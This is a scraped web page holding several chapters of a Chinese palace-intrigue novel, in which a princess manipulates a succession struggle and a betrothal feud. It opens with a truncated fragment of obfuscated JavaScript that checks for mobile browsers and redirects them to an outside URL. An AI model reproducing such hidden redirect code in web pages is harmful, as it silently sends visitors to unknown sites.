l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15431261|168772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问林莺娘,“你关心这个做甚么?” “我也就是好奇,随便问问。”林莺娘有些苦恼的皱眉,“我刚进宫呢,如今宫里出这样的大事,总是惶恐得紧。” 她有顾虑,自己说起来不过是昔太子殿下的血脉,和他们这些皇子皇女总是隔着一层,她也怕新皇登基,看不惯自己,自己在这宫里不知当如何自处。 她将这些顾虑说与平阳公主听。 平阳公主不疑有他,“你放心,我们是公主,你又是父皇找回来的皇伯伯的血脉,谁敢看轻你?不论将来哪个皇子登上皇位,你都是公主。” 她靠上前来宽慰林莺娘,这才发觉出不对来。 “你今日怎么穿得这样多?” 平阳公主觉着奇怪,她方才心心念念惦记着圣上的病情,没有注意,眼下才看见林莺娘的穿着。 屋子里分明暖融融的,她却裹得格外严实,连脖颈都围着一圈的兔毛围领。 眼下分明已初春了呀! 林莺娘掩着唇轻咳两声,“殿下不要靠我太近。” 她怕平阳公主瞧见她掩在兔毛围领底下的点点红梅。 那痕迹,一两日没法彻底消失干净。 她虚弱着声解释,“我忘了和殿下说了,我这两日身子不适,想是前两日宫宴上感染了风寒。这不,就连坐在殿里都觉得身子发冷,是以穿得格外多些。” “生病了?” 平阳公主问,“可叫太医来瞧过了?” 林莺娘点点头,“瞧过了,没什么大事,多歇息两日便就好了。” “那你好好歇息。过几日你好些了,我再来看你。” 天真的公主没有怀疑她话里的真假,轻易便被她糊弄了过去。 过几日平阳公主果真再来看林莺娘,却是又带来了一个消息。 “什么,我与庆王府小世子定亲?” 姑娘当真惊诧,也顾不及先前说的自己尚在病中,便从榻上惊坐而起。 还是平阳公主过来将她扶着坐回去,“你这般诧异做甚么?你还在病里呢!当心自己的身子。” 第157章 他还当真要我嫁去庆王府? 林莺娘现在哪里还顾得上自己的身子,连忙拉着平阳公主的手,面色焦急,“殿下是从哪儿听说的话?不会是听错了吧?” “怎么可能听错。” 平阳公主道:“我方才去父皇宫里亲耳听四皇兄说的,想来等父皇拟了旨,四皇兄也该过来宣旨了。” 平阳公主说得不错。 四皇子很快过来成安殿宣旨,还亲自将圣旨交到林莺娘手里,“恭喜成安公主。庆王府小世子与公主郎才女貌,实乃天作之合。” 他全然忘却自己先前帮着谢子慎险些害了林莺娘的事,谈笑之间,尽显亲近。 林莺娘敛眸接过圣旨,心里懊悔不已。 这算是什么糊涂官司,自己费尽心机折腾一场,倒把自己折腾进了庆王府里。 那庆王府小世子是什么样的人? 林莺娘仔细回想了下。 长相模样是记不大清了,毕竟也不过是匆匆见过几面,但那性子却显然是个混不吝的,她还记得他一口一个“美人”唤自己,活脱脱一个金陵浪荡子。 林莺娘得知了这个亲事并不高兴。 但是庆王府的小世子很是高兴。 来宣旨的仍然是四皇子,他将霍子毅的欢喜瞧进眼里,笑着道:“恭喜小世子。小世子此番能与成安公主结亲,可见父皇看重,往后朝堂上,想来我还得多多仰仗小世子才是。” “殿下言重了。” 霍子毅欢喜得过了头,全然没瞧见自家父母两张灰败的脸。 那成安公主的驸马岂是那样好当的? 他们夫妻俩都记着当年的事,心里忐忑难安,眼下圣上病重,若是当真招了成安公主下嫁进府来,这庆王府往后在朝中可就当真是如履薄冰了。 然而圣旨不可违。 四皇子如今春风得意。 父皇眼看就不中用了,朝中重臣如今大半都倾向自己这边。天子也看重他,宣旨招揽庆王府这样的事也想着自己,这便是有意将皇位传给自己。 四皇子只等着,等着那道天子驾崩的消息传来,自己便可如愿以偿登上那至高无上之位。 但他等着,等着,却没等来他殷切盼着的消息,而是等来了一桩滔天祸事。 原来是近日坊间有民谣四起。 是踢毽子的孩童嘴里吟唱着: 金麟池,夜深深。 四更雨,锁宫门。 谁家玉簪沉水底? 谁家冤魂何处归? 朱栏断,萤火散,残荷摇,鬼灯浮。 四郎靴边沾血露。 这本只是寻常歌谣,但有心人只一听便能听出其中隐含的寓意,这歌谣乃是为一溺水枉死之人叫屈。 但无人知晓枉死之人是谁。 只有林莺娘知晓。 她听采雁和兰秋闲来无事也哼着这个歌谣,神色一变,唤两人过来问,“你们在哼什么?” “坊间流传的歌谣呀!” 采雁再哼了一遍给她听,又道:“现在外头都哼这个,都传到宫里来了呢!” 林莺娘又问兰秋,“你们可知道这歌谣是什么意思?” 兰秋摇摇头。 采雁回她话,“歌谣嘛!不就随便哼哼,有什么意思。殿下你怎么了?这歌谣怎么了吗?” “没什么。” 林莺娘摇摇头,她喃喃自语道:“许是我想多了罢。” 她知道自己没想多。 后来谢昀过来寻她,她便刻意在他面前哼这首歌谣,哼到最后一句“四郎靴边沾血露”时她有意停顿了一下,观谢昀的神色。 谢昀没什么反应,只是微笑看着她,“哪里听来的歌谣?听着倒是别有几分意思。” “宫人们哼着解闷的。”林莺娘歪着身子腻进他怀里,斟酌着问,“侯爷你说,这歌谣里的四郎说的是谁呀?” 谢昀挑眉看她,“你觉着是谁?” 他总是这样,向来卖关子,不肯轻易告诉她。 林莺娘轻轻摇首,“我愚笨得很,不知道是谁。” 她装傻充愣的派头也很是熟练。 谢昀嘴角微翘,“是么?殿下愚笨,那臣便更是蠢笨了。不如殿下再好生猜猜,臣来为殿下解惑。” “侯爷不知道便罢了。” 林莺娘自他怀中起身,毫不留情,“这天色已晚,侯爷贵人事忙,不便在宫中久留,还是早些出宫去罢。” 他时常过来看她,借着是谢夫人的由头。 如今金陵城里各家高门无不想攀附成安公主,只有定远侯府近水楼台,能借着先前和公主的沾亲带故的那一点远亲的说法与成安殿往来。 旁人皆是艳羡不已,倒是没有人起疑。 “这就生气了?” 谢昀伸手轻轻一拉,姑娘又重新落进了他怀里,他挑眉看她,“还为着先前的事与我置气呢?” “不敢。” 她话说着不敢,面上却敢得很,冷嘲热讽,“我哪里敢生侯爷的气,我的命都是侯爷的。侯爷让我生我就生,让我死我就得死,现在不过是让我嫁去庆王府罢了,我有什么好置气的。” 林莺娘是当真恼了。 初听得要嫁庆王府的消息时她还不算慌乱,想着谢昀定会想法子替她解决此事。 却没想等来兰秋得了谢昀的吩咐,送来贺她与霍子毅定亲的贺礼。 “他还当真要我嫁去庆王府?” 林莺娘恼极,将那贺礼里的一对龙凤玉镯子戴在自己腕上,现如今凑到谢昀眼前给他瞧。 “多谢侯爷送来的镯子,我很喜欢。等明儿到了大喜之日,我便戴着它风风光光嫁到庆王府去。” 她偶尔也会有性子。 人又不是泥胎塑的,哪能任由旁人揉圆捏扁了也不吭一声。 何况她现在进了宫,到底面上是尊贵无双的成安公主,那性子便更大了些许。 他有时候难缠,有时候却又极好说话。 便如现下,听了姑娘好些阴阳怪气的话,他也不过微微一笑,“不过是权宜之计罢了。我岂会真让你嫁进庆王府。” “哼!” 姑娘娇嗔着别过脸去,“我怎么知道你是不是又是诓我的。” 她如今是半个字也不敢信他的了。 “那殿下要如何信臣?” 他有时会唤她殿下,这也算作二人间的情趣。 她自是极喜欢这个称呼,这显得自己为尊他为卑,名义上好歹也是压他一头。 第158章 刨根问底,求个分明 她想了想,“那侯爷便告诉我,那歌谣里的四郎是谁好了。” 她总是如此,素爱刨根问底,求个分明。 谢昀便如她愿。 “当真是他?”林莺娘其实心里早有答案,此番不过是印证了自己所想。 “你猜出来了?” 谢昀对她猜出这件事并不觉得奇怪,她是那样聪慧的姑娘,听见了这样的歌谣自然而然能想到,只是他将怀里的姑娘搂紧些,看她咬着唇,唇色被她咬得略有些苍白。 “你害怕么?” 林莺娘点点头。 她自然害怕,她知道谢昀要做什么样惊天震地的大事,她一面害怕,一面也担心自己牵连其中,不能脱身。 她怯怯抬眼看谢昀,“侯爷,会出事吗?” “不会的。” 他低声安慰她,抬手抚过她及腰的青丝。 她在这成安殿中当真将自己养得很好,满头青丝都用花瓣露水洗过,香滑软润,和她这个人一样。 他爱不释手。 又怎么舍得让她出事。 谢昀没在成安殿待很久,略坐了坐便从宫里出来。 日沉西山,青山在宫门外候着。 走上前,低声道:“侯爷,果然如您所料,五皇子和十二皇子有动作了。” 其实最早歌谣便是从五皇子府里传出来的。 他想扳倒四皇子很久了,如今四皇子羽翼渐丰,如日中天,俨然已是储君之选,这让五皇子很是忌惮。 他与四皇子相斗已久,早已是不死不休,倘若四皇子继位,自己焉能有好下场。 他四处寻找四皇子的罪证过错,试图扳倒他。 这一找,还真叫他发现了些许端倪。 其实当年四皇子谋害六皇子生母的事做得并没有多隐蔽,他年幼猖狂,觉得那不过只是个宫婢,谁会为了一个不起眼的宫婢来开罪当朝皇子。 他从未想过自己会在这上头栽了跟头。 但他偏偏便在这事上栽了跟头。 五皇子得知了此事,岂能轻易放过。 今朝可不同往日了,当年六皇子不过是个默默无闻的小皇子,他的生母如何,自然是没人理会。 如今可是不同了。 他侍疾圣上,眼下圣眷正浓,他的生母叫人推进湖里溺水枉死,这便是了不得的大事了。 五皇子必要在这件事情上大做文章。 于是那耐人寻味的歌谣渐渐传扬了出去。 有人哼唱,便会有人议论,这时只要有人在里头稍微挑拨一句,“欸,你们说这歌谣里唱的四郎会不会是咱们的四皇子殿下啊?” 这一声起疑的话流进坊间,如油锅滴水,沸沸扬扬不得止。 在四皇子最是春风得意的时候,一张铺天盖地的大网已经悄无声息地对着他罩了下来,等他察觉出来,早已是迟了。 “什么乱七八糟的民谣?!” 四皇子初知此事,大发脾气,他愤怒砸了手里杯盏,指着亲卫厉声道:“快——快去给我查!看是哪个居心叵测的小人要害本殿下!等本殿下查出来,我要了他的命!” 亲卫领了吩咐下去,还没出府门便叫人截了下来。 是宫里的内侍过来宣旨。 ——圣上有令,宣四皇子进宫面圣。 这当头圣上要见四皇子,能有什么好事。 四皇子心里已隐隐有了不安。 果然,他刚跟着内侍进了奉天殿,便叫上头掷来的镇纸闷头砸了过来。 这是圣怒。 四皇子不敢躲,硬生生叫那镇纸砸到了额角,尖锐疼痛传来,很快额角鲜血渗了出来。 四皇子也不敢擦,扑通跪去圣上面前。 “父皇,父皇,儿臣冤枉——” 他先为自己叫屈。 这事不能认,眼下已到了争储的最后关头,他此时若出了岔子,先前处心积虑积攒的功绩就枉费了。 “父皇,父皇明鉴,此事定是有人陷害儿臣,儿臣冤枉啊——” 龙椅上的天子已到了强弩之末,他撑着最后一丝气力睁眼来看他。 这是他最得意的一个儿子。 也是他最寄予厚望的皇子。 如朝臣们所料想的一般,他是打算将这至高无上的位置传给这个儿子,是以自己从来对他严厉有加。 天子也自然是知晓他并不如面上这般恭敬有礼。 四皇子私底下手段狠辣,在他心里人命向来如蝼蚁,料想能做出这样的事来也并不稀奇。 但是无妨,能坐上这个位置的人手上能有几个不沾血的。 天子并不在意。 四皇子错的,是没将这事遮掩干净,叫人捅了出去。 这样蠢笨,是不堪坐这至高无上的九五至尊之位的。 四皇子将天子对自己的失望看在眼里,着急往前跪了两步,“父皇,当真不是儿臣,是有人冤枉儿臣的……” 他实在焦急,拼命解释,“是五弟,不——是十二弟,定是他!他素来便和儿臣不对付,定是他在外胡乱攀扯儿臣。父皇……父皇切不可轻信啊……” 他到现下还不懂天子是为何对他失望。 圣上闭上眼。 失望之意尽显。 四皇子被天子亲卫拖了出去。 他杀害六皇子生母一事证据确凿,但到底是顾念着皇家颜面。 传到外头去,只说六皇子生母乃是为救当时年幼,不慎失足落水的四皇子,这才不幸丧命。 预谋杀人摇身一变成了六皇子生母见义勇为。 四皇子到底只承担了个年幼无知,隐瞒事实的罪责。 天子对他失望至极。 夺去四皇子的皇子身份,贬为庶民,终身囚禁在皇子府邸,非诏不得出。 坊间百姓听闻此消息无不骇然唏嘘。 骇然先前四皇子贤名在外,不想幼时便如此心狠手辣,做出这等害人性命的恶事来。 百姓不傻,相较于宫里传出的那些冠冕堂皇之语,他们更加相信民谣所写。 ——六皇子生母的确为四皇子所害。 但同时他们也唏嘘,四皇子早已是众人心里的下一任天子之选,不想一遭不慎,竟就落得这般境地,当真是世事无常。 就连宫里的贤贵妃娘娘也受牵连,得了个教子无方,不配掌管后宫的罪名,收了她的凤印,降了她的贵妃之位。 这一番搅弄金陵风云的棋局,到底是四皇子一派满盘皆输。 第159章 她只是巴结未来天子罢了 金陵城的天忽然就变了。 没了四皇子冒头争先,五皇子和十二皇子便在这场争储之争中显露了出来。 朝臣们纷纷转向,改投向五皇子与十二皇子麾下。 从头至尾,都没人瞧一瞧自始至终侍疾在圣上身边的六皇子殿下,哪怕四皇子跌下高台是因着他生母的缘故。 倒是也有人会落心。 趁着圣上病中召见群臣,余光看一眼躬身侍奉在天子身边的六皇子,他自始至终垂着眉眼,只在圣上唤他时偶尔附和两句,没有什么建议,也并不起眼。 这样出身平凡又卑微毫无建树的皇子,若不是圣上重病,是连面见天子一面的机会也没有的。 谁会在他身上放心思。 何况这宫里宫外多的是趋炎附势,逢高踩低的人,自然眼里都只瞧得见五皇子,十二皇子。 六皇子在这宫里,实在是无足轻重的紧。 满宫里,只有成安公主待他十分热络,但凡宫道见着他,必定是恭恭敬敬行礼。 “成安见过六殿下。” “成安公主不必多礼。”六皇子还不习惯有人这般待他,抬手虚扶林莺娘起身,“这是宫里,你我本是一家人,不必如此客套。” 林莺娘点头应下,下回依旧如此。 平阳公主倒是没她那么多规矩,见着六皇子不过微笑点头示意,“六皇兄好。” 六皇子不过腼腆一笑,颔首应下,“平阳。” 两人虽是兄妹,倒也没那么热络,宫道上遇见也不过点头示意一番,便各行各路。 六皇子每日雷打不动去奉天殿侍疾,这是满宫人眼里都瞧见的。 平阳看着他离开的背影,问一旁刚行礼起身的林莺娘,“你怕六皇兄吗?怎么回回见着他都这么多的规矩。” 她知道,林莺娘不是这么规矩多的性子。 林莺娘笑着摇摇头,“不怕。六皇子待人宽厚,平易近人,成安怎么会怕。” 她只是巴结未来天子罢了。 平阳公主不疑有他,“也是,我这个六皇兄啊,别的没什么,只一点,脾气格外好,半点没有架子。” 两人也会在宫道上偶尔瞧见谢昀。 圣上病重,内阁重臣往来宫闱频繁,他总是步履匆匆,见着两位殿下才停下脚步,隔着老远抬手行礼。 “见过两位殿下。” 他声音清朗如月,举止也萧萧然风流轻举。 叫平阳公主霎时羞红了脸,“谢大人这是要往何处去?” 谢昀声音清朗回话,“回殿下,圣上招臣去奉天殿议事。” “那谢大人快去,别误了大人的事。” 谢昀颔首,转身离开,由始至终,也没留一个眼风给林莺娘,忽视得彻底。 在外人眼里瞧着,两人实在是不亲近,就连谢昀偶尔去成安殿送礼,也是被他的继母谢夫人所逼,实属无奈而已。 平阳公主对她这个未来夫婿自是满意得不行,只是和林莺娘说起他时,不免会想起定远侯府,忍不住皱眉。 “你知道吗?定远侯府的那个谢三郎想悔婚,如今闹得金陵城满城风雨呢!” 原是自四皇子倒台后,他生母贤贵妃也被牵连,这倒是活络了一些不安分人的心。 谢子慎本来就不想娶方寻雁。 只是当时形势所逼,又兼贤贵妃娘娘下了金口,无奈才应下了此事。 如今四皇子一党失势,贤贵妃也受牵连犯了圣怒。 谢子慎便起了心,想要将这一场自己不愿的亲事推拒了去。 这事说给谢夫人听,她竟也同意。 她实是叫方寻雁折磨够了。 自谢方两家商议婚事起,方寻雁便一直想着法子折腾,一会儿嫌婚期紧了,一会儿嫌定远侯府送来的聘礼单子不够详尽。 又点名成亲时的喜服得用年前江南进贡的蜀锦来绣,凤冠上嵌的珍珠也得是南海的东珠。 谢夫人气得不行,“婚期紧是她父母定下的,说是尽早办了,担心撞上国丧就不好了。聘礼单子也是她父母亲眼瞧过的,这满金陵也找不出几个能越过咱们定远侯府去。那蜀锦她倒是有脸要,年年江南进贡来的蜀锦就那么多,宫里的娘娘尚且用不过来,她一个丫头片子,难道还想越过娘娘去?更别提东珠,南海的东珠何其珍贵,就算我敢给,她方寻雁担得起吗?” 她实在是气急了,一口气说这许多,险些没喘上来气。 李嬷嬷连忙扶她去圈椅里坐下,给她拍背顺气,“夫人小心些,当心气坏了身子。” 谢夫人仍气不过,边喘气边道:“这还没嫁过门来,就给我这一连串的下马威,当真嫁过来了还得了,岂非生生要夺我命去。” 这厢谢夫人气得咬牙切齿,那厢方寻雁倒是气定神闲,还有心思喝茶绣花,颇有情趣。 只方母担忧来劝她,“你怎么好向定远侯府提那么多要求?要是叫旁人知晓,还当咱们方府缺钱卖姑娘,这于你声名也有碍啊!” 方寻雁才不管这些。 她现在早已是声名狼藉,也不差多添这一桩,只要能叫卫青黛不畅快,自己便就畅快了。 “母亲就别管了,这定远侯府娶亲是大事,这点要求都做不到的话,分明是故意欺辱女儿。母亲,你也不想女儿平白被人欺辱了去吧?” “可……” 方母被她这一顿强词夺理险些弄得晕头转向,好半天才道:“你那什么江南蜀锦,南海珍珠也委实太难为人了些。” “寻常人家自然是没有这些的。”方寻雁瘪瘪嘴道:“可她定远侯府年前才得了圣上恩赐,这些东西可是齐全得紧呢!” 是去岁江州赈灾回来,圣上下旨所赏。 方母觉着奇怪,“你怎么知道圣上赏赐了哪些东西?” 方寻雁眼睛转了一转,嘴硬道:“这母亲就别管了,总归要我嫁去定远侯府,我提的条件,定远侯府必得尽数应允了才行。” 谢夫人只能应允。 她将先前定远侯府得的赏赐咬牙掏出来。 李嬷嬷边收拾便觉得奇怪,“这方家小姐怎么倒像是对着这些赏赐提的条件?” “是吗?” 谢夫人将聘礼拿过来仔细瞧了瞧,她终于明白过来,牙缝里硬生生挤出一个人名。 “林莺娘……” 第160章 谢子慎!你浑蛋!! 林莺娘刚自榻上起身,便忍不住俯身打了个喷嚏。 她揉揉鼻子,皱眉道:“怎么感觉有人在咬牙切齿的骂我?” 兰秋端了洗漱的铜盆进来搁在架上,替她撩帘,抿着唇笑,“想是侯爷想殿下了罢。” 主仆时间长了,她也偶尔学着采雁打趣林莺娘。 林莺娘哼一声,在兰秋的伺候下穿衣。 “他现在忙着呢,才没有功夫想我,便是想我,也指不定是怎样想着法来害我呢!” 这样的娇嗔,是情人间的情趣,兰秋只笑笑便罢,不会转告谢昀耳里听见。 只有采雁听出林莺娘话里的咬牙切齿。 她撩帘进来,走到林莺娘身边,“殿下,我打听清楚了,果然如平阳公主所言,谢夫人眼下和方家正闹退婚呢!” 是昨儿林莺娘听见平阳公主说的话便落了心,让采雁今日一早便去宫门口打听。 林莺娘方还忿忿的脸色眼见得欢喜起来,“真的呀?” 她极乐见仇人失意自己得意。 “想是那张聘礼单子当真起效,叫咱们的谢夫人心疼了。” 林莺娘的幸灾乐祸写在面上。 那张聘礼单子的确是她搞的鬼。 圣上赏赐之物有几何,旁人不知晓,定远侯府的人自然是知晓的。银翘是谢夫人的人,她只要稍加打听便能知道得一清二楚。 兰秋前几日回了雾凇院一趟。 明着是替成安公主取些从前的东西,暗地里却是和银翘互通有无。 银翘自然是乐意帮林莺娘办事的。 她如今是成安公主了,正所谓一人得道,鸡犬升天,她也盼着有朝一日被林莺娘带进宫去享富贵。 是以做事不可谓不尽心竭力。 兰秋也按林莺娘吩咐的,赏了她一小把宫里的金瓜子,再哄她,“你放心,殿下不会忘了你的。” 兰秋出门去,又去方府求见方寻雁。 她是成安公主的贴身宫婢,方寻雁不敢不见。 她以为林莺娘又要想什么法子来害她,却不想兰秋带来的竟是定远侯府库房里的明细单子。 兰秋道:“殿下说了,姑娘先前落水,她心里也很是过意不去。若不是她拉着姑娘出去吹风,说不定也不能着了谢三公子的道。现下殿下听说姑娘并不想嫁定远侯府,是以特地让我来将此物送与姑娘,纯当先前牵连姑娘的补偿。” 方寻雁听着,脸色一阵红一阵白,不可谓不精彩。 她这下还知道隐忍,等着兰秋离开后才撒气,将桌子上的杯盏茶壶尽数推去了地上。 “谢子慎!你浑蛋!!” 天真的姑娘,先前还当真以为自己是不慎落得水。 如今得林莺娘提点才知道,哪有什么不慎落水,分明是那谢子慎存了想尚公主的心,这才弄出了这落水救人的法子来。 不想成安公主没掉进水里,自己反倒掉了进去,平白无故做了这替死鬼。 方寻雁不会恨成安公主。 她知道自己的斤两,鸡蛋碰石头的蠢事是万万不会做的。她只会恨谢子慎母子,是他们贪图富贵,将自己无妄牵扯了进来。 当然,她最最恨的,是卫青黛。 若没有去岁冠礼那一遭,她现下仍是金陵城里端方知礼的名门贵女,而不是现下这般,声名扫地,被逼不得已只能嫁给谢子慎。 她自己心里不畅快,当然也不能叫卫青黛好过。 于是但凡定远侯府来人商量婚事,她便诸多为难,闹得定远侯府上下不得安宁。还拿着那张定远侯府去岁得了赏赐的明细单子,要卫青黛一口气将赏赐尽数吐出来。 谢夫人如何肯依。 可是她也没法子,定远侯府和方家结亲的事满金陵人尽皆知,她要维持她之前辛苦支撑的好声名,就必定要依着方寻雁。 谁也没想到四皇子会突然跌下高台。 谢子慎来找谢夫人说退婚的事,她先是不许,“这怎么能行?若是叫旁人知晓是会戳着咱们脊梁骨骂咱们定远侯府攀高踩低的。” “那母亲便娶她进门好了。”谢子慎赌气,“反正她现下已是闹得咱们定远侯府上下不可开交了,等她进门来,还指不定会出什么幺蛾子来害母亲?到时母亲可要好好受着,毕竟她已是咱们定远侯府的人,是再推不出去了。” 他话说得浅显,倒是真说进谢夫人心坎里了。 眼下方寻雁尚未过门就处处难为她,若是当真过门来,定远侯府岂非是鸡飞狗跳。 谢夫人也起了退婚的心思。 但退婚一事不能由定远侯府来提。 她让李嬷嬷私下里去找方寻雁。 “谢夫人想让我退婚?” 方寻雁听到这个消息,并不诧异,她扯着嘴角笑了笑,颇是嘲讽,“谢夫人当真是高看我了,我若是早能退婚,还何必与你定远侯府牵扯这些时日。” “可是方姑娘,那是先前。”李嬷嬷提醒道。 先前四皇子有望成为下一任天子,他的生母贤贵妃又宠冠后官,她定下的金口玉言,谁敢违逆。 但是现下不同以往,四皇子失了圣宠,再没了争储的机会,连着他的生母贤贵妃也受牵连。 此时提退婚的事,没有人会置喙。 李嬷嬷又道:“咱们夫人说了,方姑娘本也无意嫁进定远侯府,不过是形势所逼,如今天遂人愿,姑娘何不趁着这大好时候将婚事退了,姑娘也好再觅良缘不是?” “再觅良缘?” 方寻雁冷笑了一声,“定远侯府不就是我的良缘,我又何必舍近求远。更何况,现在我的声名已经毁了,从何去另觅良缘?” 谢夫人早知她不会这样轻易答应。 李嬷嬷垂下眼来,将谢夫人先前吩咐的单子拿了出来,送到方寻雁面前,“夫人知晓此事是委屈了姑娘。只是此亲事本非两家所愿,如今姑娘若是成全,这单子上的房产田铺便算作是咱们定远侯府补偿姑娘的,姑娘有它傍身,想必往后嫁入别家也多添一份底气。” 方寻雁拿过单子来看,那上头的田产铺子不在少数。 卫青黛此番着实是下了血本的,将自己的嫁妆底子都翻了出来,只盼着这些东西能叫方寻雁消气,如她所愿退了这门亲事。 “谢夫人当真是好大手笔。”方寻雁轻飘飘将那张单子随手搁在桌上,“只是可惜了,我不是买卖人。” 第161章 是受了谁的挑唆,这样处心积虑来害我! 方寻雁并不打算如谢夫人的意。 如她自己所言,她的声名早已坏了,眼下嫁进定远侯府才是她最好的归宿。方寻雁现下也想明白了,她父亲说得对,嫁给谢子慎没什么不好的。 谢子慎其人,朝堂上虽没什么建树,但好在他有个好兄长好母亲。 如今朝堂储君之位争得水深火热,先前欲与她定亲的礼部侍郎早早便站了五皇子一派。 虽然五皇子现下得意,但有四皇子先例在前,谁能保证他不会是下一个四皇子? 反倒是定远侯府,向来中立,不偏不倚,是最忠实陛下的保皇派。 不论下一任天子是谁,谢昀在朝堂上的地位都不会动摇。 定远侯府一荣俱荣,一损俱损,这谢子慎又是他唯一亲弟,往后纵是再没什么能耐,也能在朝上混个富贵虚职。 再兼他还有个好母亲。 谢子慎可是谢夫人独子。 先前在冠礼上方寻雁便知晓,这卫青黛疼他疼得跟眼珠子似的,处处为着他谋划着想,一颗心都系在自己这个儿子身上。 这便又如了方寻雁的意了。 自己只消嫁过去,笼络住谢子慎的心,将他们母子情分离间,那卫青黛定然痛不欲生。 自己被卫青黛算计的仇和怨才算是报了。 卫青黛不肯退婚,不止不肯,还去自家父母面前哭诉,说是定远侯府嫌弃她诸多要求,上门来逼着自己先行退婚。 李嬷嬷被她反将一军,骇得不轻,“方姑娘,你先前可不是这样同我说的。” 方寻雁先前的确不是这般说的。 她要将李嬷嬷诓到自家父母面前,于是叹了口气,又将那搁在桌上的单子收进了自己怀中,“罢了罢了,此事也非我所愿,只是婚姻大事,还是得由父母做主。你同我一同去前院,我这便跟父亲母亲说退婚一事。” 李嬷嬷本不欲去,“此事方姑娘自己与父母商议即可,我过去似是不大妥当。” 方寻雁却是冷哼,“你怕什么?你当我们方府缠着你定远侯府不成?老实告诉你,我父母也看不上那谢子慎,先前也不过是惧着贤贵妃娘娘的威名,如今正是巴不得两家退亲呢!” 她又嫌李嬷嬷迟疑不决,“你去不去?你现下随我去,咱们这便把事情说开了,庚帖换回来,往后我方寻雁与你定远侯府再无干系。” 她说得果断又决绝。 李嬷嬷到底跟着她到前院去。 谁知那方寻雁一到了前院便变脸,浑然没有方才的傲气模样,反而拿着那张单子去方父面前哭,“父亲,定远侯府要逼着女儿退婚,还请父亲为女儿主持公道啊!” 方父骤然闻听此话,气得面色铁青,指着李嬷嬷道:“好你个定远侯府,欺负人都欺负到本官家里来了。怎么,是当我这方府无人了吗?” 李嬷嬷当真是百口莫辩。 此事闹得很大。 方父携女来定远侯府找谢夫人要说法,谢夫人自然是不会承认,忙不迭解释,“方大人,咱们是不是有什么误会?我让李嬷嬷过去,是问姑娘成婚事宜的啊!” 她不会承认逼姑娘退亲的事。 但承不承认的,没什么打紧。 方家去定远侯府闹了这一场,翌日这定远侯府想要退婚的消息便传得满城风雨。 方父更是落下话,“现如今不是你定远侯府要退婚,而是我方府不愿嫁女。” 正逢谢昀下值归家。 撞上方父领着哭哭啼啼的方寻雁归家去,方寻雁不肯走,嘴里还念叨着,“我不退婚!我要嫁给谢三公子,我不走——” 方寻雁被强行带走。 方父见着谢昀脸色仍是铁青,抬手行礼,很是不客气,“定远侯府当真是高门显赫,我方家势小,委实是高攀不上。” “方大人留步。” 谢昀出声,态度诚恳,“我才归家,不知发生了何事,想必是两家之间有所误会。方谢两家结亲乃是大事,我定远侯府万万没有看轻大人的道理。” 他又拱手请方父进府,“方大人随我进府,咱们两家坐下来好好商议,莫要叫旁人看了热闹去。” 定远侯府门口早聚集了许多百姓,都在这眼巴巴地踮着脚尖瞧热闹。 方父甩袖冷哼一声,到底是随谢昀进府去。 方父本想着退婚,息事宁人,毕竟眼下两家已闹到这番地步,往后纵是结成亲家也是怨。 但方寻雁不肯。 “我不退婚!” 先前闹着要退婚的是她,如今抵死不肯退婚的也是她,“我不管,我就要嫁给谢三公子!” 她还拿先前的定亲说事,“这门亲事可是当时贤妃娘娘定的。” 贤贵妃如今已降为了妃位。 “你们若是退婚,我便闹到圣上面前去,让圣上知道你们定远侯府言而无信,不守婚约。” 方寻雁话说起来格外不顾忌。 是林莺娘给她的底气,兰秋来时有交代,“方姑娘尽管闹,最好闹的金陵城里人尽皆知,自有人来给姑娘收场。” 收场的人自然是谢昀。 但眼下显然还不到人尽皆知,要收场的时候。 方父怒气冲冲来,又带着方寻雁怒气冲冲走。 “为父的脸面都叫你丢尽了!” 他被自家姑娘不肯退婚的话臊红了脸,拉着她便归家去,“你给我去房里待着,没有我的吩咐,不许出来!” 方寻雁又被父亲关了起来。 只是相较于先前的气愤,她这次格外气定神闲,还会叫玉箫出去瞧热闹。 玉箫回来回她的话,“姑娘,眼下这坊间都说这定远侯府的谢夫人攀高踩低,眼瞅着四皇子没了势,这才来咱们方家退婚的呢!” 谢夫人好不容易积攒下来的好名声算是彻底毁了。 她心疼的还不止于此。 本来以为闹了这一场,退婚之事已然是板上钉钉了,却不想方寻雁那里又出了幺蛾子。 她夜里不知从哪儿摸了根白绫来,偷偷系去了梁上,好险叫她丫鬟玉箫察觉,不然姑娘一缕香魂已是归了阴曹地府。 闹出这样大的事,婚是退不成了,还得加紧着,大摇大摆地办。 否则闹出了人命,谢夫人就当真是脱不得身了。 只是她也恨,咬牙切齿,“方家那小丫头从前没有这么多的诡计,如今究竟是受了谁的挑唆,这样处心积虑来害我!” 第162章 你确信,你还能掌控得住她吗? 还能有谁,始作俑者正在成安殿里,好整以暇地听着外头的这场好戏。 她还不忘吩咐兰秋给这场好戏上再添一把火,“记着提醒方姑娘,眼下既是谢夫人着急着办亲事,那聘礼单上的东西可要再加上两成才行。” 她想了一下,“也不必太多了,就先前谢夫人想要退婚送来的那些就很不错。” 那些是谢夫人的私产。 原想着退婚才舍得出这么大一笔银子,如今婚事没退成,田产铺子也叫人惦记上了,真真是赔了夫人又折兵。 方府的人过来传话时,谢夫人发了好一顿火,“我道她折腾来折腾去是想干什么?原来是惦记上我的东西了。当真是好歹毒的心思。” 她恨得牙根痒痒,“她当我定远侯府是什么地方?她说如何便如何,我定远侯府还没那般好欺负。你告诉方家的人……” 谢夫人吩咐李嬷嬷,“先前的聘礼单子就已经不算是辱没他家姑娘了,两家结亲原也是喜事,若是他方家非要蛮不讲理,将事情做绝,我也大可以将此事宣扬出去,让旁人瞧瞧他方家趁着结亲讹要多少聘礼来卖女,我看他方家往后还如何在金陵城立足。” 但是方父显然不知此事。 去定远侯府传话的人是方寻雁吩咐出去的,回来才到方父面前回话,她已将定远侯府重新拟定的聘礼单子带了回来。 方父看了咋舌,“怎么加了这么多?” 他将那聘礼单子看了又看,问嬷嬷,“这当真是定远侯府送来的?” “错不了。”嬷嬷低头回话,“定远侯府的人说了,这多出来的田产铺子是补偿咱们姑娘的。先前的事让姑娘受委屈了,他们实在过意不去,只好在这聘礼单子上多加补偿。老爷你看,这聘礼单子还是谢家侯爷亲自誊抄的呢!” 方父与谢昀同在朝为官,对彼此的字迹自是熟稔。 方父看聘礼单子点头,“不错,这的确是谢家小侯爷的字迹。” 